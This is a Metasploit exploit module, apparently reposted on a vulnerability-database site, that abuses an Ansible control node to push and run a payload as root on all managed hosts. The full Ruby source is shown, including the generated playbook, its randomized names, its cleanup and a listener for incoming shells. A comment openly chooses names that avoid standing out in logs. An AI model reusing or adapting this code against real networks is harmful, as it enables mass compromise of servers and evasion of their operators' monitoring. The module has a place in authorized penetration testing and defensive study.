`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Ansible
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ansible Agent Payload Deployer',
'Description' => %q{
This exploit module creates an ansible module for deployment to nodes in the network.
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
targets which have been selected (default all).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'n0tty' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
[ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
],
'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
'DefaultTarget' => 0,
'Passive' => true, # this allows us to get multiple shells calling home
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
]
end
def module_contents(payload_name)
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
"- name: #{Rex::Text.rand_text_numeric(3..6)}
hosts: #{datastore['HOSTS']}
remote_user: root
tasks:
- name: 1
ansible.builtin.copy:
src: #{datastore['WritableDir']}/#{payload_name}
dest: #{datastore['TargetWritableDir']}/#{payload_name}
- name: 2
ansible.builtin.file:
path: #{datastore['TargetWritableDir']}/#{payload_name}
owner: root
group: root
mode: '0700'
- name: 3
command: #{datastore['TargetWritableDir']}/#{payload_name}
- name: 4
file:
path: #{datastore['TargetWritableDir']}/#{payload_name}
state: absent
"
end
def check
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?
CheckCode::Appears('ansible playbook executable found')
end
def ping_hosts_print
results = ping_hosts
if results.nil?
print_error('Unable to parse ping hosts results')
return
end
columns = ['Host', 'Status', 'Ping', 'Changed']
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
count = 0
results.each do |match|
table << [match['host'], match['status'], match['ping'], match['changed']]
count += 1 if match['ping'] == 'pong'
end
print_good(table.to_s) unless table.rows.empty?
# give the user a few seconds to cancel if its too many etc
print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
Rex.sleep(10)
end
def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
ping_hosts_print if datastore['CALCULATE']
payload_name = rand_text_alphanumeric(5..10)
module_name = rand_text_alphanumeric(5..10)
print_status('Creating yaml job to execute')
yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
write_file(yaml_file, module_contents(payload_name))
register_file_for_cleanup(yaml_file)
print_status('Writing payload')
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
print_status('Executing ansible job')
resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
print_good("Stored run logs to: #{playbook_log}")
# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation